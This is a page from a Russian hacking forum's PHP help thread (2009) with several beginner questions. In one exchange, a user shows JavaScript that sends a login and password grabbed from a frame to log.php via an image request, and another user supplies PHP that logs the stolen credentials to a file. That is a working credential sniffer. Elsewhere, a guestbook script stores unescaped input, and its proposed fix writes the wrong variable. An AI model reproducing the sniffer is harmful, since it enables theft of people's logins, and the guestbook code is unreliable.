ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #13331  
Старый 14.11.2009, 14:40
Аватар для #Wolf#
#Wolf#
Постоянный
Регистрация: 26.03.2008
Сообщений: 311
Провел на форуме:
3799424

Репутация: 479
По умолчанию

Цитата:
Сообщение от Gef3Dx  
Проблем может быть несколько!

1. Если там есть пути типа /home/названия сайта/ и т.д. проверь их! Так как на localhost они другие!
2. Настройка PHP создай на хосте файл info.php а в нем пропиши:


PHP код:
phpinfo(); 
И посмотри включена ли функция STR!
1) там какбэ
PHP код:
function site() {
    
$host 'http://'.$_SERVER['HTTP_HOST'];
    
$directory dirname($_SERVER['SCRIPT_NAME']);
    
$website $directory == '/' $host.'/' $host.$directory.'/';
    return 
$website;

2)Функция? Может модуль? во всяком случае подобного нет.
 
Ответить с цитированием

запись данных из фрейма в файл
  #13332  
Старый 14.11.2009, 22:35
Аватар для xxxBARTONxxx
xxxBARTONxxx
Познающий
Регистрация: 11.10.2009
Сообщений: 84
Провел на форуме:
1003859

Репутация: 0
Exclamation запись данных из фрейма в файл

JavaScript передаёт логин и пароль из фрейма, на php
таким кодом:
Код:
............

img = new Image();
img.onload = p();
img.src = "log.php?c=" + login + ';' + pass;
помогите пожалуйста сделать запись этих данным в файл.
 
Ответить с цитированием

  #13333  
Старый 14.11.2009, 22:40
Аватар для m0Hze
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

PHP код:
if(isset($_GET['c']) || !empty($_GET['c'])){
$open fopen('log.txt','a');
fwrite($open,$_GET['c']."\r\n");
fclose($open);
}else{
header("Location: index.php");

 
Ответить с цитированием

  #13334  
Старый 15.11.2009, 01:18
Аватар для xxxBARTONxxx
xxxBARTONxxx
Познающий
Регистрация: 11.10.2009
Сообщений: 84
Провел на форуме:
1003859

Репутация: 0
По умолчанию

странно... не получается, по пробовал на виртуальном сервере, создает файл
log.php c=логин;пароль

что я не так делаю?
 
Ответить с цитированием

  #13335  
Старый 15.11.2009, 02:09
Аватар для qW1zer
qW1zer
Участник форума
Регистрация: 24.08.2009
Сообщений: 145
Провел на форуме:
285318

Репутация: 17
Отправить сообщение для qW1zer с помощью ICQ
По умолчанию

xxxBARTONxxx
Почему log.php c=логин;пароль
должно быть
log.php?c=логин;пароль
 
Ответить с цитированием

  #13336  
Старый 15.11.2009, 02:20
Аватар для xxxBARTONxxx
xxxBARTONxxx
Познающий
Регистрация: 11.10.2009
Сообщений: 84
Провел на форуме:
1003859

Репутация: 0
По умолчанию

в джава скрипте написано

img = new Image();
img.onload = p();
img.src = "log.php?c= " + login + ';' + pass;

при запуске на виртуальном сервере, ничего не записывает в файл log.txt, методом пользователя "m0Hze", а создает новый файл
log.php c=логин;пароль (именно так, знак вопроса заменяется пробелом)

сори, плохо разбираюсь в этом))
но вроде правильно делаю.

Последний раз редактировалось xxxBARTONxxx; 15.11.2009 в 02:23..
 
Ответить с цитированием

  #13337  
Старый 15.11.2009, 02:27
Аватар для xxxBARTONxxx
xxxBARTONxxx
Познающий
Регистрация: 11.10.2009
Сообщений: 84
Провел на форуме:
1003859

Репутация: 0
По умолчанию

может есть другой способ сохранить логин и пас из фрейма?
 
Ответить с цитированием

  #13338  
Старый 15.11.2009, 13:22
Аватар для Gef3Dx
Gef3Dx
Новичок
Регистрация: 27.09.2009
Сообщений: 8
Провел на форуме:
14605

Репутация: -5
Wink

Цитата:
Сообщение от xxxBARTONxxx  
может есть другой способ сохранить логин и пас из фрейма?

Есть такой способ!
1. создаешь базу MySQL
2. создаешь в ней таблицу userlist
3. в userlist поля id, user, pass
4. создаешь файл lock.php и встовляешь в него вот такой код:


PHP код:

$db 
mysql_connect ("localhost","имя пользвателя(root)","пароль к нему");
mysql_select_db ("имя базы",$db)
if (!isset(
$_SERVER['PHP_AUTH_USER']))
{
        
Header ("WWW-Authenticate: Basic realm=\"Admin Page\"");
        
Header ("HTTP/1.0 401 Unauthorized");
        exit();
}
else {
        if (!
get_magic_quotes_gpc()) {
                
$_SERVER['PHP_AUTH_USER'] = mysql_escape_string($_SERVER['PHP_AUTH_USER']);
                
$_SERVER['PHP_AUTH_PW'] = mysql_escape_string($_SERVER['PHP_AUTH_PW']);
        }
        
$query "SELECT pass FROM userlist WHERE user='".$_SERVER['PHP_AUTH_USER']."'";
        
$lst = @mysql_query($query);
        if (!
$lst)
        {
            
Header ("WWW-Authenticate: Basic realm=\"Admin Page\"");
            
Header ("HTTP/1.0 401 Unauthorized");
            exit();
        }
        if (
mysql_num_rows($lst) == 0)
        {
           
Header ("WWW-Authenticate: Basic realm=\"Admin Page\"");
           
Header ("HTTP/1.0 401 Unauthorized");
           exit();
        }
        
$pass =  @mysql_fetch_array($lst);
        if (
$_SERVER['PHP_AUTH_PW']!= $pass['pass'])
        {
            
Header ("WWW-Authenticate: Basic realm=\"Admin Page\"");
            
Header ("HTTP/1.0 401 Unauthorized");
            exit();
        }

5. В файлах которые надо залочить точнее запаролить пишешь в самом верху кода просто:

PHP код:
   include("lock.php"); 

Последний раз редактировалось Gef3Dx; 15.11.2009 в 13:35..
 
Ответить с цитированием

  #13339  
Старый 15.11.2009, 14:24
Аватар для N2kroot
N2kroot
Познающий
Регистрация: 25.10.2009
Сообщений: 54
Провел на форуме:
62271

Репутация: 9
По умолчанию

Помогите пожалуйста:
Вот форма: <INPUT TYPE="text" NAME="mess"><BR>
<INPUT TYPE="submit" value="Отправить"><BR>
Вот запись:
PHP код:
if(isset($_POST['mess'])){ 
$fh fopen("mess.txt","a");  
$today date("H:i:s");    
$m $_POST['mess'];
$m trim($m);    
fwrite($fh,"<BR><FONT COLOR='#0000CC'>$today </FONT><FONT  COLOR='#FF0000'>$ip</FONT>$m<BR>");  
fclose($fh);  

Но всёравно при нажатии submit записывается пустое место,а при обновлении страницы повтряется старый запрос,как исправить?
 
Ответить с цитированием

  #13340  
Старый 15.11.2009, 14:38
Аватар для Gef3Dx
Gef3Dx
Новичок
Регистрация: 27.09.2009
Сообщений: 8
Провел на форуме:
14605

Репутация: -5
Exclamation

Цитата:
Сообщение от N2kroot  
Помогите пожалуйста:
Вот форма: <INPUT TYPE="text" NAME="mess"><BR>
<INPUT TYPE="submit" value="Отправить"><BR>
Вот запись:
PHP код:
if(isset($_POST['mess'])){ 
$fh fopen("mess.txt","a");  
$today date("H:i:s");    
$m $_POST['mess'];
$m trim($m);    
fwrite($fh,"<BR><FONT COLOR='#0000CC'>$today </FONT><FONT  COLOR='#FF0000'>$ip</FONT>$m<BR>");  
fclose($fh);  

Но всёравно при нажатии submit записывается пустое место,а при обновлении страницы повтряется старый запрос,как исправить?
Форма:
PHP код:
<form name="form1" method="post" action="файл с твоим обрабочиком тобишь твой код (kod.php)">
<
INPUT TYPE="text" NAME="mess"><BR>  
<
INPUT TYPE="submit" value="Отправить"><BR>
</
form
kod.php
PHP код:
if(isset($_POST['mess'])){
$mess $_POST['mess'
} else {
  echo (
"Переменная mess не передона");
}
if (
$mess == '') {
echo (
"Переменная mess пуста");
} else {
$fh fopen("mess.txt","a");  
$today date("H:i:s");    
$mess trim($mess);    
fwrite($fh,"<BR><FONT COLOR='#0000CC'>$today </FONT><FONT  COLOR='#FF0000'>$ip</FONT>$m<BR>");  
fclose($fh);


Последний раз редактировалось Gef3Dx; 15.11.2009 в 14:46..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Delphi, .NET, Asm 5420 17.06.2010 13:33
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ